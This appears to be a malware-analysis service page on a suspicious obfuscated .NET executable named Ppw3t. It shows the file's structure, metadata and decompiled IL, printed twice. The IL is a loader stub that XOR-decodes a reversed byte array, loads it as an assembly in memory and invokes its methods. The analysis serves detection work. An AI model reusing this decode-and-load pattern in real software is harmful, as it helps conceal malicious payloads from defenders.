Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
5e003f02cab7fbe9c8e44a75e022765e
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Ppw3t.Resources.resources
f42487d8d002a9.Resources.resources
950edcd50
[NBF]root.Data
950edcd51
[NBF]root.Data
950edcd510
[NBF]root.Data
950edcd511
[NBF]root.Data
950edcd512
[NBF]root.Data
950edcd513
[NBF]root.Data
950edcd514
[NBF]root.Data
950edcd515
[NBF]root.Data
950edcd516
[NBF]root.Data
950edcd517
[NBF]root.Data
950edcd518
[NBF]root.Data
950edcd519
[NBF]root.Data
950edcd52
[NBF]root.Data
950edcd520
[NBF]root.Data
950edcd521
[NBF]root.Data
950edcd522
[NBF]root.Data
950edcd523
[NBF]root.Data
950edcd524
[NBF]root.Data
950edcd525
[NBF]root.Data
950edcd526
[NBF]root.Data
950edcd527
[NBF]root.Data
950edcd528
[NBF]root.Data
950edcd529
[NBF]root.Data
950edcd53
[NBF]root.Data
950edcd530
[NBF]root.Data
950edcd531
[NBF]root.Data
950edcd532
[NBF]root.Data
950edcd533
[NBF]root.Data
950edcd534
[NBF]root.Data
950edcd535
[NBF]root.Data
950edcd536
[NBF]root.Data
950edcd537
[NBF]root.Data
950edcd538
[NBF]root.Data
950edcd539
[NBF]root.Data
950edcd54
[NBF]root.Data
950edcd540
[NBF]root.Data
950edcd541
[NBF]root.Data
950edcd55
[NBF]root.Data
950edcd56
[NBF]root.Data
950edcd57
[NBF]root.Data
950edcd58
[NBF]root.Data
950edcd59
[NBF]root.Data
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Ppw3t
Full Name
Ppw3t
EntryPoint
System.Void Ppw3t.8fgMepY1Kg6::Qtk19oYp()
Scope Name
Ppw3t
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Ppw3t
Assembly Version
14.6.6.151
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
981
Main Method
System.Void Ppw3t.8fgMepY1Kg6::Qtk19oYp()
Main IL Instruction Count
125
Main IL 
nop <null>
nop <null>
ldc.i4.s 20
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
call System.Byte[] Ppw3t.gRj9q::Gg7tdQ()
call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>)
call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>)
stloc.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_4
ldc.i4.0 <null>
stloc.s V_5
br.s IL_0049: ldloc.s V_5
ldloc.s V_5
ldc.i4.8 <null>
rem <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brfalse.s IL_0042: nop
ldloc.0 <null>
ldloc.s V_5
ldloc.0 <null>
ldloc.s V_5
ldelem.u1 <null>
ldc.i4 211
xor <null>
stelem.i1 <null>
nop <null>
nop <null>
ldloc.s V_5
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_5
ldloc.s V_5
ldloc.s V_4
ble.s IL_0026: ldloc.s V_5
ldloc.0 <null>
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.2 <null>
ldloc.2 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.s 24
cgt <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_7
ldloc.s V_7
brfalse.s IL_006F: ldloc.2
leave.s IL_00EA: ret
ldloc.2 <null>
ldc.i4.s 24
ldelem.ref <null>
stloc.3 <null>
ldloc.3 <null>
ldnull <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_0080: ldloc.3
leave.s IL_00EA: ret
ldloc.3 <null>
ldc.i4.s 56
callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
br.s IL_00CC: ldloc.s V_10
ldloc.s V_9
ldloc.s V_10
ldelem.ref <null>
stloc.s V_11
ldloc.s V_11
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldloc.s V_12
brfalse.s IL_00C4: nop
nop <null>
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_00C2: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00C2: nop
nop <null>
nop <null>
nop <null>
nop <null>
ldloc.s V_10
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_10
ldloc.s V_10
ldloc.s V_9
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_008F: ldloc.s V_9
leave.s IL_00E9: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00E9: nop
nop <null>
ret <null>
Module Name
Ppw3t
Full Name
Ppw3t
EntryPoint
System.Void Ppw3t.8fgMepY1Kg6::Qtk19oYp()
Scope Name
Ppw3t
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Ppw3t
Assembly Version
14.6.6.151
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
981
Main Method
System.Void Ppw3t.8fgMepY1Kg6::Qtk19oYp()
Main IL Instruction Count
125
Main IL 
nop <null>
nop <null>
ldc.i4.s 20
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
call System.Byte[] Ppw3t.gRj9q::Gg7tdQ()
call System.Collections.Generic.IEnumerable`1<System.Byte> System.Linq.Enumerable::Reverse<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>)
call System.Byte[] System.Linq.Enumerable::ToArray<System.Byte>(System.Collections.Generic.IEnumerable`1<System.Byte>)
stloc.0 <null>
ldloc.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_4
ldc.i4.0 <null>
stloc.s V_5
br.s IL_0049: ldloc.s V_5
ldloc.s V_5
ldc.i4.8 <null>
rem <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brfalse.s IL_0042: nop
ldloc.0 <null>
ldloc.s V_5
ldloc.0 <null>
ldloc.s V_5
ldelem.u1 <null>
ldc.i4 211
xor <null>
stelem.i1 <null>
nop <null>
nop <null>
ldloc.s V_5
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_5
ldloc.s V_5
ldloc.s V_4
ble.s IL_0026: ldloc.s V_5
ldloc.0 <null>
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type[] System.Reflection.Assembly::GetTypes()
stloc.2 <null>
ldloc.2 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.s 24
cgt <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_7
ldloc.s V_7
brfalse.s IL_006F: ldloc.2
leave.s IL_00EA: ret
ldloc.2 <null>
ldc.i4.s 24
ldelem.ref <null>
stloc.3 <null>
ldloc.3 <null>
ldnull <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_0080: ldloc.3
leave.s IL_00EA: ret
ldloc.3 <null>
ldc.i4.s 56
callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
br.s IL_00CC: ldloc.s V_10
ldloc.s V_9
ldloc.s V_10
ldelem.ref <null>
stloc.s V_11
ldloc.s V_11
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_12
ldloc.s V_12
brfalse.s IL_00C4: nop
nop <null>
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_00C2: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00C2: nop
nop <null>
nop <null>
nop <null>
nop <null>
ldloc.s V_10
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_10
ldloc.s V_10
ldloc.s V_9
ldlen <null>
conv.i4 <null>
clt <null>
stloc.s V_13
ldloc.s V_13
brtrue.s IL_008F: ldloc.s V_9
leave.s IL_00E9: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00E9: nop
nop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙